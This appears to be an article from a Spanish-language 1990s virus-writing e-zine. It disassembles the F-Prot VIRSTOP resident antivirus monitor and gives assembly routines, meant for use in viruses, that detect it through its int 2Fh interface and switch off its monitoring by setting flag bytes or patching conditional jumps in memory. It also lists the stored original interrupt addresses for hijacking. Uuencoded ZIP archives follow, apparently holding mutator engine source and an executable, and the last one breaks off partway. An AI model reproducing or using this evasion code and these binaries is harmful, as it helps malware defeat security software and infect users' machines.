ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ El Virstop es el m¢dulo residente que viene junto con el antivirus F-Prot de Fridrik Skulason. La idea de este articulo es ver como es el comportamiento interno de este programa, tanto para satisfacer nuestra curiosidad como para encontrar formas nuevas de enga¤ar a este, modificar su comportamiento o lo que sea generado por sus respectivas imaginaciones, veamos entonces... (la versi¢n analizada es la adjunta con el F-Prot 2.15, no creo que haya muchas diferencias entre versi¢n y versi¢n pero est n asvertidos..) Pues bien, el VIRSTOP (a partir de ahora VS) captura las interrupciones 21h, 2fh, 13h y 15h. Despues por medio de la int 2fh va activando y desactivando el monitoreo que hace mediante cada una de estas. Los handlers de dichas interrupciones est n en los siguientes offsets: int 21h ÄÄÄÄÄÄÄÄÄÄ> CS:0399h int 2fh ÄÄÄÄÄÄÄÄÄÄ> CS:0532h int 13h ÄÄÄÄÄÄÄÄÄÄ> CS:048Ch int 15h ÄÄÄÄÄÄÄÄÄÄ> CS:0599h Adem s de estos handlers, usa una rutina de tracing (int 1h), la rutina instaladora se encuentra en CS:8311h y el handler en CS:8585h, Handler 2Fh ÄÄÄÄÄÄÄÄÄÄÄ Esta es el handler de la int 2fh del VIRSTOP: ;-------------------------------------------------------------------------- VStop_i2f: Cmp Ax,1605h Jnz next_choice Mov Byte Ptr Cs:[02C2h],01 Jmp return next_choice: Cmp Ax,1606h Jnz Seti13Flag Mov Byte Ptr Cs:[02C2h],00 Jmp return Seti13Flag: Cmp Ax,4653h Jnz return Cmp Cx,07 Jnz try_nine Mov cs:[Flag_i13],Bl ; Flag_i13=offset 0531h Iret try_nine: Cmp Cx,09 Jnz return Xchg Ah,Al Mov Bx,020Ah Nop Push Cs Pop Ds Mov SI,0223h Mov DI,01D3h Iret return: Cmp Word Ptr Cs:[old2f],0 Jnz jump_to_2f Cmp Word Ptr Cs:[old2f+2],0 Jnz jump_to_2f Iret jump_to_2f: jump db 0eah old2f db 0 ;-------------------------------------------------------------------------- Por lo tanto, si llamamos a la int 2fh con el VS en memoria con: --------------------------------------------------------------------------- Input: AX = 4653h CX = 07h BL = 1 --> Desactiva Monitoreo Int 13h 0 --> Activa Monitoreo Int 13h Output: Nada --------------------------------------------------------------------------- Input: AX = 4653h CX = 9 Output: AX = 5346h (AX invertido) BX = 020Ah SI = 0223h DI = 01D3h DS = Segmento en el que esta instalado el handler de la int 2fh (Actual CS) -------------------------------------------------------------------------- Esta interrupci¢n maneja la des/activaci¢n de las demas.. Para lo que sirven la funci¢n 1606h y 1605h no tengo idea, consegui tantas cosas buenas con lo que aca muestro que no me moleste en seguir revisando el codigo, pero si a alguien le interesa verificar el total comportamiento del VS les prometo darles el source completo de todos los handlers y su instalacion del VS en un pr¢ximo numero, pero para esto hay que recibir pedidos en nuestros ya conocidos bbs, asi que ya saben, y sino desensamblenlo uds. que es una pavada, no esta encriptado ni nada. Bueno, sigamos.. Los valores devueltos por AX=4653h, CX=9 en BX,SI y DI son fixed, o sea que son si o si esos los valores que devuelve, ya que estan explicitos en el mismo handler de la int 21h.. por lo menos hasta este punto del an lisis. La funci¢n 4653h, CX=9 es utilisima para nuestros propositos, ya que nos devuelve el segmento en el que se encuentra el VS instalado, y sabiendo los offsets en los que se encuentra cada handler podemos hacer dos cosas: 1) Desactivar todo monitoreo modificando las variables del VS: -------------------------------------------------------------- Para esto veamos porcioncitas de los handlers de la int 21h y de la int 13h por ejemplo... VStop_i21: Puhsf Nop Sti Cmp Byte Ptr cs:[0393h],01 Jz Backi21 ... .... ... .... ... .... ... .... Backi21: Popf Jmp 0000:0000 (Les dejo las direcciones porque es pertinente con la explicaci¢n, y los JMP est n a zero porque el VS se encarga de poner el address de la int 21h o int 13h al ejecutarse :).. no??.. si en serio :)) Bueno, como ver n, la rutina se fija si el byte en el offset 0393h esta en 1, y si es as¡ le da el control a la int 21h original, pues que podemos hacer?, porque no ponemos en 1 ese byte nosotros y listo?.. ByeByeVS: mov ax,4653h ; llamamos a la rutina de mov cx,9 ; la int 2fh del VS int 2fh cmp ax,5346h ; nos fijamos si el VS esta jne NoVirStpInstalled ; instalado.. mov ds:[0393h],1 ; Ponemos el byte en 1 NoVirStpInstalled: .. .... .. .... Acuerdense que la funcion 4653h, CX=9 nos devuelve en DS el segmento en el que est  instalado el VS, asi que sabiendo el offset en el que esta el byte lo ponemos en 1 y listo, ahora veamos la int 13h.. VStop_i13: Cmp Byte Ptr cs:[0395h],01 Jnz Backi13 Cmp Byte Ptr cs:[0531h],01 Jz Backi13 ... ....... ... ....... ... ....... Backi13: JMP 0000:0000 Veamos, el segundo CMP es el que se desactiva con la funci¢n 4653h, CX=7 ya que esta mueve al offset 0531h un 1. Pong mosle que queremos que se vaya directamente con el primer cmp, porque somos cabezas duras (mas all  de que obviamente esos dos flags son seteados por diferentes switches o razones), pues hacemos lo mismo de antes: ByeByeVS: mov ax,4653h ; llamamos a la rutina de mov cx,9 ; la int 2fh del VS int 2fh cmp ax,5346h ; nos fijamos si el VS esta jne NoVirStpInstalled ; instalado.. mov ds:[0395h],0 ; Ponemos el byte en 0 NoVirStpInstalled: .. .... .. .... Bueno, junten las dos y listo.. Si bien hay diferentes bytes que corresponden a diferentes switches con esto desactivamos todos estos, ya que volvemos directo a la int original. Bueno, pero esto tiene inconvenientes, de la misma forma en que nosotros seteamos los bytes para que no chequee el VS, si por una de esas casualidades (DEMASIADA, pero DEMASIADA :)) el usuario corre de nuevo el VS para modificar unos switches puede ponernos los bytes a sus valores originales de nuevo. Ademas los offsets podr¡an variar de versi¢n en versi¢n, 'tonces.. que hacemo'?.. 2) Patcheamos el VS en memoria: ------------------------------- Que como es esto?, simple, igual que antes, nada mas que ahora en vez de cambiar el byte adecuado para que el jump condicional de el resultado que nosotros queremos, eliminamos el mismo y le ponemos un jump incondicional, veamos esto para la int 21h.. Sabiendo como dije en el principio de la nota que.. INT Handler int 21h ÄÄÄÄÄÄÄÄÄÄ> CS:0399h y que.. VStop_i21: xxxx:0399 9C Pushf xxxx:039A 90 Nop xxxx:039B FB Sti xxxx:039C 2E Cs: xxxx:039D 803E930301 Cmp Byte Ptr [0393h],01 xxxx:03A2 7438 Jz 03DC lo que hacemos para patchear al VS es esto.. PatchVS: mov ax,4653h ; nos fijamos si el VS est  mov cx,9 ; instalado int 2fh cmp ax,5346h jne NoVirStpInstalled mov ds:[03A2h],0EBh ; cambiamos el JZ por JMP NoVirStpInstalled: ... ...... ... ...... Simple, cambiamos el OPCODE del JZ (74h) por el del JMP SHORT (EBh). Ahora con la int 13h.. veamos que... INT Handler int 13h ÄÄÄÄÄÄÄÄÄÄ> CS:048Ch y que... VStop_i13: xxxx:048C 2E Cs: xxxx:048D 803E950301 Cmp Byte Ptr [0395h],01 xxxx:0492 7534 Jnz 04C8 Lo Patcheamos.. PatchVS: mov ax,4653h ; nos fijamos si el VS est  mov cx,9 ; instalado int 2fh cmp ax,5346h jne NoVirStpInstalled mov ds:[0492h],0EBh ; cambiamos el JZ por JMP NoVirStpInstalled: ... ...... ... ...... Listo!.. aja!, pero esto tiene otro problema, en otras versiones quiz s los distintos handlers puedan empezar en offsets diferentes, porque se le agregaron nuevas signatures, o por cualquier otra causa, pero eso no implica que los handlers especificamente hayan sido cambiados, sino que cambi¢ su ubicaci¢n dentro del programa, que hacer suponiendo que esto pase?.. Fixed_Number = 09h PatchVS2: mov ax,4653h ; nos fijamos si el VS est  mov cx,9 ; instalado int 2fh cmp ax,5346h jne NoVirStpInstalled mov ax,3521h ; tomo address int 21h int 21h push ds es pop ax cx ; este handler es el cmp ax,cx ; del VS? jne NoVirStpInstalled add bx,Fixed_Number ; me muevo hasta el JZ mov ds:[bx],0EBh ; cambiamos el JZ por JMP NoVirStpInstalled: ... ...... ... ...... Lo que hago es pedir el segmento en el que est  instalado al VS, pido el address de la Int 21h, y compara el segmento de esta con el segmento del VS, si no son iguales, significa que algun otro programa capturo la int 21h despues del VS, por lo tanto cague, puede renunciar o ariesgar- -me a usar el metodo directo que mostre primero, o usar la int 2fh.. Si los segmentos son iguales, ese es el Handler del Virstop, asi que ya en BX tenemos ya el offset donde empieza el Handler, lo que hacemos es sumarle a ese offset la distancia a la que esta el JZ del comienzo del handler.. xxxx:0399 9C Pushf ..1 xxxx:039A 90 Nop ..2 xxxx:039B FB Sti ..3 xxxx:039C 2E Cs: ..4 xxxx:039D 803E930301 Cmp Byte Ptr [0393h],01 ..5,6,7,8,9 xxxx:03A2 7438 Jz 03DC --> Llegamos! Para que entiendan en este caso.. 0399h + 09h = 03A2h listo! f cil no?, y ahi ponemos el 0EBh.. con la int 13h es lo mismo nada mas que Fixed_Number = 06h. Bueno, listo, creo que es suficiente, si alguien quiere el source completo del VS chifle, asi lo hago y les muestro mas funciones, ahora ya me cans‚ de desensamblarlo.. Ah!, me olvidaba.. falta para la int 15h, que utiliza para verificar el Disco A: al apretar Ctrl-Alt-Del ... Pongan el byte en [0394] en 0 o/y Pongan el Byte en [0586] en 1 y Fixed_Number = 4d ah! y me olvidaba de nuevo.. :) lo que pueden hacer tambien es obtener el segmento del VS y robarle la direcci¢n de la int 21h y usar esa direcci¢n en su virus, pero gastan demasiados bytes en CALL's, pero lo pueden hacer si quieren, y para hacerles la vida m s facil aca van los offsets en donde esta guardada cada INT original, tomen las precauciones que les digo en esta nota para diferentes versiones etc.. INT Offset 21h Original ÄÄÄÄÄÄÄÄÄÄ> cs:03DEh 2Fh Original ÄÄÄÄÄÄÄÄÄÄ> cs:0582h 13h Original ÄÄÄÄÄÄÄÄÄÄ> cs:04C9h 15h Original ÄÄÄÄÄÄÄÄÄÄ> cs:05B5h bueno, tengo el presentimiento de que me olvido algo, y bueh.. cualquier cosa ya saldr  otra nota.. :) bye!.. WM’ [DAN] begin 666 mutator.zip M4$L#!!0 @ ( "MNA!TZZ1-*D , %H' , 3554051/4C N5%A4=571 M;MLX$'PWX'_8QQSJ\S5 BJ(!\J#8OD-ZCAW(3A&@Z,.*7+M,:5(AQ0#)U]\N M:5MNVO-#0DCD[.SL#'5[OZ[6RQJ^4(C&.S@?O[\<#E:T34XC6-,$"@:AQ.^KXM& JM/;/UK>C7"!H[C_P=JD]',!/]2U+UP)&PR@L M'<-+,^B4$?VZ0%D!QH,7V&_N<-<8UI8*VG/N;L_QAH]XG12!<5PB*>F,X:,1H32ROG\(X%QHE%D(E! ,A%G*_7\9R%%$ M+L5T.I;"*$9]X9ZWLLKD%I[/L*S$-;E']>.@X]E]1);/E8E82G1(S2 M,#H%L,;]('',8Q('R2QYP,5SPT$I%LV66;M.I!(/7DJI]?QF\2]\_6O]#5;W MD^7TYI_E>'G]&?:QD75F=(('*7:D2VU-RF+ (!/__R*SAW6].$#"Y5V]G,CC MNT!B]9 -SV*+ETH.,?)3S&,J*NR%&H^S/I-J/C_ 9:"JKFYGZWJY@@KNJE55 M_RZ3DLK9ZG)Z U=PG38;EHTY=P$;?-R'KB_(;WZZ#0X$N #O[(R<%=^6'SXE M(P/1 G(,^]%SVI_,A5_WL>=7C#E'Z+%L;Y&W.R4L)T&9?C>QYBE9"B5S!!UTEB!*,8]V1?#I?%4VZG]N6E2FA/ MFBB^?V/KDS'5,Q[=HIHN5[^?5![6@=HQ-!N>C)4+^9@LJ>Q;TU/5.,ID?]&N MYR9J1)(326Z.?,-G7V22\QQ?@>@O.+E)2+$4$%PO*9<(D8^5"A;VJ4 MO2;*&Z=L>J'AX%?/H&9$7HUA9GN,(_SAVL\N=W[7!"HZ8&MTOO"_3JO%MU'_ M$83S3Y\N>,]_4$L#!!0 @ ( /F6GQVG;5W4[18 %UV + 3554051/ M4BY!4TW-/5USV[J.S_6,_P/G[DMRXF0E?UO>/J2-=;\D\_X;]NV!,+HGC)PA6'.?F@K]Y'RVG"'/+'>D5744+L*XN< M3<*9'S+R,0K\990\^&YT#K#7:X!PR.\T]CV:^!'Y=G/]_AZ:;ID[I[S)MHG' MR/OHR6> %W[8HU$70#[3)?W?B(,,!ETRW:Y8^@(,-1M7[6&?__WI^N;=5V+S MKQ^_O/G]W5ORQY?/UY\_?&HV?K_^^.[F^M.[#^1N\O<_)N\_DS?_]7E"D$^S M<7UW]^6/"7E[Y^2]6C?:CV;#77_WP_1['/N\P^0_OT _R[+ZGD2@FMW(*S4/ MO69#$21&^OCIPUM"WD^N.7U5*N)U.B?3#2'CCY\F=Y-/_YR0-U_)V9>[ZYL/ MY&9"KO_QX=,UF;PG?US?D8_7_/N'V]N[R>=SD$85F4N#@#S0(+7C)&HVLF]. M-E84\Z'JW=+UE#]O10\/*5MI_0W4THVAP3,U3&-#0^J;4/G$.#ZH%MX):=@! M:FAR,?11S+L0,KZY>_WV#NN*]Z$;^7U,-Z]Y_RCQ9WY(@SHPTG\9/9&;.^?; MFZ\76;_O7GK?RG >V]?=W+?ZF]4V?OHOIYMX 2CFHICX&2+ T'"EF M0<@S>.1,IC3P/1JM5XYIU>+/F3 ACX^_CPU/$?-&^#9F*P"?VY A71)V*K9 M6*H=//NPT*N/>KP #5(52JE1ED0N"1FMKSBPF!21HUPZ4>#HEH@ ME"YH69UYC;,P2J-PE;!4[F8!H\3S6]]B&U4U:236J4O],#53QQM7R9J0L1L% MD4L)"^0>,)NUU%[0@EF9S:Z.X] /76R;])C+V:L]7H0_2,Y>LS&^_,D/1T&# M)7592(G:U./N%2IL>L@*!\!O'-'WN OM8N+&WW_V4QLFG]*N>4KU2=-G#1KW M3!$FE1YF^YXAEUXN%S-7O>.Y$B9AL=C#V(OH2_\D^M(_J;Z89=M_AFRIYY'% MHO6#?_X5 AZ<1,"#7[(@!\\0KS#EDHF6RS__"AD/3R+CX2^1\?"9,MYN6]\6 MB_N7%J\0L _BXH@I"6A*)$FNZ_-!4L(>F+ORG_AS#P(#J71<5Q2:BD):9GL2"_Q(WCG EW MX^;_8I-,DG8+(C2(X)K:N8@1)-%?2[>?+W' 5F*&8/2@X**PG4?>RR- M _J#+GT6KB("X6LX=V[\)8@U86(?27V2,GCLK5VF=2:7$D8 >>HY?]CA;=)! MOY3GE\L.4%(E+P]@Y+X\!@&36YR"JA 0VN XZK$#U6!95F=>;0,#(T*=]='^ MBA(/]D4RN7.^03Q.FM^2Y/A'<%OWM8P<%M' O6P.3! 5TB[L@K@9)T[0]B?; M/CX2B#NENIM"MKI=KB!'B=8\!(%S+]E#$T2&)R.[/>=T!SMQC8[%59X@.%N M.U0Z:G 0^/):MX/D4@GL4IG0N$LN2 >)@8O]=MZB)IM07.$JK2^!I-A(6 MLY6?1'&[XQ@(*(P8 5N.A/N7,4!9]KS>MOC!";/LE,4VCGYRYQ3H4Q^S:G*K MP0+8\)QSEJ\]A$6L"Q8C7W FTGF4K(@FDF8C(]XQ1^*1Y]00"*\J"RCAZ0+? MF4M&R MO:;\"2 4)Y@$S)$?SA*64H"X>7?%^R=LYG..HI2X49)$R]CW^/=+$G+(=1B1 M2U"S[ 1T4$P>\Y15JAGUH*?S%J=S?U92+2=DSG:.ZA;)N#'O/@4,6#)2H?=2 M?&2Q/@$'2U\CB9TH 3ZF]24D5E! 7099[>K*"SR<#%B-,):0.W%I0ETX.J4, M,F@>'^MOEOVW9B.@/Z+-INW@Y]]-R[:L.<>2,I*N07?)XYH1&JZ8")3P5EDM M05CHKEFX2J@P*!RN,/0N3:?H<0AC-?Q!%$FP\B33#L$^]:F*XF*FQ@E+5W2= M<-8W*"2M0R)J83:K,MU5PS$]>#0$I[ 0E84B=ZE3V8>$AAXL=)GU)>N0A.LE M2R)" P8).C\2T]HG4W\%RWD9)YP WXO 3$""AYQ99$NNOYZ#T9+9RSH*/L#U M5]TR:(9!MC0;&26E)-V.7=-0;\TTVK;?4Z'B'CY3I8^7'@N[!*$>AU M8&2,8[$[P^[(@[-YR"D*5^"]^Q#81#;MH![5%OZ:,'%26]/UDB:0=(/K/[YY>(V^'Y3\7B)46EP3+RUD%D5@$EE>6:/3'@ MRO?60MOK12U[*FM,,UA5,M@PQK,U3<0R8T^9MAEKFS3)AU&RI('_0T1HJFO4 MR&._U^OT1('86!H)+U*^ *=I%I&827-@5/!\_#.+7)+KK^0L.[6?G^,SX>K2 M&^,+D^Z!V;CSF3K;9>ROV5.D^'[MARORWV>"MW\7?)Q?V/]S"!.["Z-,,(=P M);>KPTLOQ.90M9HGW1V$XA&T;D+J@C!W*5OZ ?]75.)D]#0;T2JAXGQB.VK2 MP ?I6LB) !S/ /7R%S](@<>@HG/1,P=K[QTND>/9SR6D??!2-4Q:5:XGG305 M73V@V.59AT_CP?$D)U4CFE+EJG"90^!LR3P_@D-)N*IE\+ ,""FR;N5=209& MYG2K#BD4@B2SZ K5! GR'1U 1&JKJU)L*1XE3^R'\)=31H* +N$89':+@N/V1XJ4/V!0J3 M(.)\/*Y]V!9X!RD@DI^#F!XCN6HV*L6^>RL5<6MI60\/"3 1; M-OS!<\H!Y, E@%.S)2QT,5NBJJ3U%7IAV1ZZCE#8[A&P@\-AV[TC8(>'PW8R MWL9RCLF*3@/ZW:.K*_4QI6!%&,6C]L6;K\C91>P3\Y;5\3+M23H=9U:[.G4ZR"Z%FBR9 M52@OX1/':]8K/Z00DY%V2$1PA2_NNQ1<&&5-&*E8FE1X5WD%_B[C@ID6W"?, M[YZ,CZM$& 5>B14K:<, M>=TJ*?,YLD:UE?FI=VQE+'\\__ ZH4CJW@$!*"W!0$ MZG/9Y#(A$,N(4IE>=*-E1/S0\Q_7C/?Z!G,K*L;N20L.9P\0A!4.)UO&/H-] M+B0Y$+D@=CT/"&)*_58.A4H]V>_U* ^HX M[9T_F E.FSX3E;FX//-2)_7/FPTUKG-T&X>^ITMPM#Y>X6QI$D 4+VP]' J9P,P'"+(H!L"E5PU)MJ:.P^\=8Q M.1M9\W,T1PU)X-1'SM=JOZO-":I,(KJ;UJ5"]G\JF,0.LB&'?:H+0.4WAJ,! M8M.\@PP=LA6)C:AD[$^Z#16WS,K;R#$;R0L8=H^E.XR6J;0SM^R=KLFR3TV6 M/<#72G&1MDJZV04W4"\VV(9(QH,%&3-#GF.6$3]$NI0J>X']\4W"5FH M@6TP%;HN;,R>;%KH-E#9GZ O9,K<@*DC"#XQEF4-=LU)$2NOIK @=EU=HA^_ MW/V#7'_%Q68\^E3"&(82FWJ\0@C;:/=0^Y;6"SL_?O@(,7BCIAQ$LYEB;%77 M2%,[C;/)9LHJRH@D=RE1O5:,42$+9 M4BZ7"BA"56BX\CWJ@7=8CCX4=1O5B5S&XNQ6.^8OI@R-M,%?5K&RY6?-P#^.0A^@D M&A^B&B@XK'F;V21A5NXH]Z"TB9\V!9'?,?_I% 0>I:ZN/[@=8TC*S%MZE/82 MN423AUGTVS:&[+(>3FYYABCX-$9?"P!J,HV-&0YL:]H7M"/[R/R3;1,VD_<( M@OR>T3)VCJBIV%.IX.E1]F(\(Y]%^#F5&X8(HFY*9:H;N-$1\E&)1&C2 S@, M9E$T,6G&-(IE63T/HI31GU8>I$3?H@!Q4)U*-'&P^$&"B(6NN..,%TUPVOA( M?>^XH+HB$#B17]N_C-9VQ\.S"XH03/L*Q,X.X7L;E;%SBPDUL+0SD[5DBRBA MB4S7I8RL4TIH0+90J;6"5%KJ@_I A8+G7YD(TDOP=V:%'OIX6DC4I+1W]&// MZ^=AR6KA_T-'$80$QH. S2"Y\+CVH05X55+]C2.7@SB&>=Z@KTQ1*H"M<)A_ M)7:%N^/44>:U.D#,1>P)KQ?%+70$6<8ZHV\E6QB@HLRNIX MW=:X4;BW9BE/UZB=S8L.,&^[=&MHFFJ.A25M]<*IYR4U\UJ$V)R3Q/:AS(W1 M2' .9ZPTZN:X48V[HB$U>RB'YEJ:XS*UV'.AD*;UFFVS)\B DKH[=5)?+7_= MSR$%(WI5658#1,'X+!8M_G=V9XM_AJM8N/6O*;N'".T?*H?>^QIS8(IJYSHNUA7 M<2;)W]HR+GITD!A R8+CI"S@TI2D?U?G#MX9 H1^NHHL8V?=RS-AV4]""!FT2JRVVBS M.(UR"B6(LR,@-"ZK#*@D_-LV$D>#UDY'N"1)'(U6V$8,"CHWJ9ND87X2&KX5 M$Y?/:6E6MUMM0@>\:K. MH:+GLF<>)S\/D-V&8R<)\NZF:8[R%V/5/^+TG3LP=0-\0OO^6[.1O:_-4,?) M6T3QMKQ2G[)0%+? ?1"558Y$00S<>YU">0Q+231=L5!D,6::E+ZT2](PMN0G'0 M=<@[J$W.H+M5B]2;FQ;<.J7)]S0UZE4YP&!/YN20 G*D\T67=W^8'P;;[LP5 M-$YW?@].V/SO6<6Y8L;9S4/_YW@8',4#0!=$.J?2I\M"F^"5:N(M5J2B&P<8 M-JD?NPR^#1_+LJ:XW0^],M,6A7O:N(3@]E@=-CB92'*9R&O,B\K%\*/$(QFW MCF#<.X)Q[R495R]BJ7-+R#%Z?[P(["-$8+^H"/0WL93DH!X>L#(T'^.$R\-^ M.$)$#R\IHNH;+>_L([NT324K_.%+BG:3T=Y."A48T4KH'DB)1.1@* MD(6 L>KAQ%"E]ZGSE MRY?%7#P^WLLW5:E7QL"#E@R4'.+AV'WS>JX#[_ ,\%A3=C!!S@NG/)"(_*#M M&")+4/"D%8.)Z%_<-D&[-6C=J,0=!S^6(:/HW;J.X5 (KVFI$=*>A8]YMIYN+GC6_1R30;(S_[2<^L.%! M3@)N8WF1?!'X,DHA-\/X+\^?03T-5*SZ+/P1R1H%/_'])15'[7$W%Z9S^OX@M"SJM<[UI8VQR MS4WP/RTH-V4EL5)6I:;2&ZG*3=D]3:07'TV\+TJ? @V J/;>GO;^GO;!GO;A MGO;1GG:[;6R7DIG2&9&:T.G.6R,+-K%Y:]"&W5!][VC?N]KW7O%]..#_NO(' M&6N50Q*U:/:F.NQ(^^&UY0]K6F"1/[(^LF5DPM_N:!W%CZRC;!GI+6HPF_'_ M'B1&0L:]*DYKV->0BA\Y!_T"Z;A38[:OC2)^L*[VX^%!;_'TEK[BKTX+FVJR M'NGX1SK^48%%@4T5@W6*B=].4Z8Y!6G1(+AJ-4Z:.K_>CH+5 $P <=%K]*G!0L/#"=(?DKZR6(\;)% M.11+7I5V I+2Z"6Z,%*LXA>IT#+$1R]35J9%D5+<0.&([(%7F-^B18Y2:FPV M5&HP:RR:9(H1;\B"$[6&[=;0X_$1:V@V"H<"FCIMC3;2;.2U2$Z^R;ZJ;L+6 M+0CDQIJ/7[TJ-X;1BE1<"*RG+7J^RKNX>I=7KQ14NP+EH5"="M04A>I6H.@< M@^I5Z4*A^E6Z,JA"& IR4*6MP*?#3CCL6TN#S:KB2V,+*+L"Y:)0[0J4AT)U M*E#3G1,GNG2K1,[W=NE5*=[?I5\E?W^70967_5V&6I%,S;*O'S.LQ-E5H$9E(E#X&YK=)3@KFQJL(LWDU2A1I5H%P4 MZKH"Y:%0;RI04Q3J;96N.09U4Z4+A9I4Z4*A;JMTH5!6"2HPR,NN0.'R:E>@ M<'EU*E"XO+I5NE#J>U6Z4*A^E2X4:E"E2T!E]\4=O0/L[+>Z?+,JEW((8:AD M)X )&5?V*/'V5D.GMNST:JR/X!F .QCPU #7]S)_XFAWR:C?\#4$L#!!0 @ ( #"O8QTH^)B00&*04B+.&A;'P M8Y"$$!)*4NJ85 4"! ADHZ13M'4J0R1V-[5_]%#4^'P7D[3:8-,Z+66:V%@[ MP<1$,E3Y@A/'H?PX#&-=LTZH\Z27>>%76H>B0PENR"Z"^)Y<0\&S>V5C;N'4[]K5"7T*[02DQ7T?"QI91=![;4Q2ZZV&Z)?2*Q; M1]A.E]&]BAJA);0DX?6\N.^[>YN:8_O9!U!JGI8B41=ESP+S GL/:NR1X"TC MA"\+E=-(5*%, ?8S>&0JT,R@+$-8Q[2I1)-+68JP0].F"LT42\1>'<;@E**IH<=@' M>FBM;$37TV+-YS*B&Z;2U2DQ*24) T=:DN@8DXQH)5;>C!5JL?%Z:G37THX! M5\D U@9/2VS_XY[.KJ(ZK89 =K'FKN,8E3]]&\L;=NCWN\R&;5T?'3&S>&#& MEZ>@G\"]/]I7@I-[FHZ8S4VQ[=MV&(E:(U1*2Y/GJ#+YKW/SU]R78AU):LTV31Y=\_>6*HFRPP\T&^F:JP$YNZ+6B*>LV)5 M14Q],LDV \O9K[B1R!H)+(Y$-]+5*9VR+NYGK?S_PL5I_8<84A\G[&5>#4&7 MCOH5,O&'R-DB69^Q>AQ#\-2)@HG?&MUB&9;2QZN$$=\Q^4BG M@7?R8-#3"(/SD*>0 N1II!CY%E*'/(^T(.W(CY'7D3>1,!)!CB&_1'Z-_!YY M'SF-G$.B2 RYA%Q#_HV,(7<;84A"LI!92#Z"_0Y]$UF&5"+K$1]2CVQ#FA&, M8^B'2!OR*O(:TH6\C?0BV,?0[4:(ST46(H7(&F0K@NWB*O(N@C'&_X*8R""2 M0"XCUQNAYW@N@8]=\PC@!Z^%G@N]52ZXXRH.N_UU*\3RU0='O5/;<6KR9^.! MZG^:3)SL4P@[8V>;CY9RMJSAN2O"7ST1.3M'-FY$SBZ6^SR$]=@-8J59JVW0 ML+NNKBD2?4#9;GS:9=P3PKBQ#]?X^E0K>XL^0_T"7EU4:NH#5V]NDN+&'6O, MH,;7PN[P7+]_RQ:L>FB M>^1^2JIH8%;'\"QL^3EF:<=P?GK2N(![9B'NTTQ J;8#[FHKZ)&N2@_22@\F MF-EJT&HUJ.CT&:V.^/P&?2:,J>\43#WOK:NS+P>/BE/8YR;LO8=NJ=H=^*Q: M"N:JT3)9"HR)Q!/X5 N5RWT24:/ELH0SE6"''Z[#$ -I_:8ZZ%YW K,WM= : M64>IA2KD/DK8OH<:WA]-L?WBJA0M:2 G3@OB/K?J)"OE1,.Y3GO23 M4V_'K)S.$5D9L^ZTZQ0]+253:FIMUDWUXG-:ZSRM]:F66 'D E[:,P@TP^$8 MGPG]G(/N;P -V0CUP0DL?O.=PV10P2W_)+(2*4=P:P]N1+8@WYD^6K]!3B+] M"&[+P3ANY2KDV>DCT(!@W:'O(P>00T@0>0/I1'0$C]_0$/)WY!.$(1.-\/SQ MF0264)C>TOA_N$B8I4ZS0)@2IYDOS'*GR1=FI=/,%6:5T\P1IM1I\H0I=YJ9 MPE0X38XPE4Z3+4R5TSPAS'JG\0BSP6FH,+5.(_5>(["1EO5 &X%V @$"00(A M$T*C$!J!4!*R3<@>A>P1*#*A:!2*,).$ B]TFM Y"ITCT)F$SA1TW]!8(^\B.V\-VPAZQ+]@?VA?M M2_9E^XJ5L$:L"]:'UD7KDG79NF*9UH!UWHI9@]:0%;>&W5P=X.IYKL:X.LC5 M(:[&N3K,EW%UC*O_X6J:J__EZCA7;W'U-B_CZEVNWN/J!%<_X^KG7,UP=9)+ M.BY_X']02P,$% " @ 1&Z$'0IT2>%K P U D H !04E5%0D$N05-- MK5;?;Z,X$'XN$O_#J+J'6RVIDFVUNTV>W$"SK!*(@)Q:G>[!8*?Q'6#6AHCM M7[\V"6U^D%PK+9$2QS/^YIMOQC8C1Y84J(0J!\FR(J50"/XD<(;A1T6!T*RB MLA08: K+*D\8SW'&:%YR9=.3!4]_9EPLF*SI8@35&2%*\IDVT/!&L*+$F M 3^W?@V")B.W9A7--$SCZM/7SV/3&/NV._$!0F?C"!_J#?_V8:SD,4>#!;1"CR@R', U\%_LL-%N$.NIZ%>Q2\ M(K2(5&LK&(U:VW6[$$=>J:J#*2V M0.*T(OSC,53&UX!75O]V=6AA>0F?!JLN-4. @3Z:^9$@1_"(TRG:(8 M:6X.LZUJ.0*$MDE(9&[Y=V31E5(R7+0 )U) MV^'0?@#7<\>N#]O.0>!XX\"=1[KX[R!$92<=9A$N.ZJ$"='&P9/R0&N-SPT#0NK;YI;*Z!/7 PPT_XF>4J2B\2F- ,B__^E!\@H$],B2DHZ<$) MH"F:NS8*7!_^MI'W#_10,'&\R/40#&YO;WI_7"K157Y#GYX]OS$V;CW MQJ =0WC+8QK*=>?_X1O$6Q#TYQ=02P,$% " @ +Z]C'>'5A1EI 0 ; $ M H !04E5%0D$N3T)*34^Q2^-@'/W]K*0:K,-Q4T'Z!1SJT*IW!U*0TM#6 M&FV2-D3%.X1+VX\:-(U\:1=QL.!0U Z"! <'==!!QPYV"2@%<&]_#/@=UJ(5(VDXUEXG!@!ZBU5L(CH.M2K;E!&R2IECV@WR M+3G3[WR!S/O+=77BO]IR)Q2817<(8/,OO3QU1X#+JCFIH-Z&WAT.(Z6,> MPO**+NJJ!G.=8Z.^,![KNH#CX:[G8?OID^M[ MT'[XY()8N3??=9?P^[,O'+VN<[&UG_>0\85[2/M"K^@+_T95;0M*:G%=5K72 MHI0E>:4@*?D(OV S(IL-NVFTF$UDHV[LF@U*2$)G1HU:!MN*.U-$HW73:5)& M:PD2X8MB2'<8A@? X.3M'U!+ 0(4 !0 @ ( "MNA!TZZ1-*D , %H' , M $ ( !-551!5$]2,"Y46%102P$"% 4 ( " #YEI\= MIVU=U.T6 !==@ "P ! " "Z P 3554051/4BY!4TU02P$" M% 4 ( " PKV,=*'(K2E,' !,"@ "P " #0&@ 3554 M051/4BY/0DI02P$"% 4 ( " !$;H0="G1)X6L# #4"0 "@ ! M " !,(@ 4%)514)!+D%335!+ 0(4 !0 @ ( "^O8QWAU849:0$ &P! M * $ ( -\E !04E5%0D$N3T)*4$L%!@ % 4 ' $ ' ' G end begin 666 tarjetas.zip M4$L#!!0 @ ( /-Y4_*-1 :C?4 %Q_ * 3$5#5$]2+D581>Q\#WQ3 M1;;P)/?F)DW2_VTI*82 $,!"18I5*"VE=%-$C '6E,)2%EVD5"UK>]/*]R!- M7U1(;JD*NX"[;[]70-=5V7TH=2VX*Z4MK>C#I;"K4%Q%\,_$BUH!F]*FN=^9 MN;=IB[B[[_WV>_O[?M\VO^3.G#EGYLR9,V?.G)G;NU?,4,U"6F1!"$G279P' 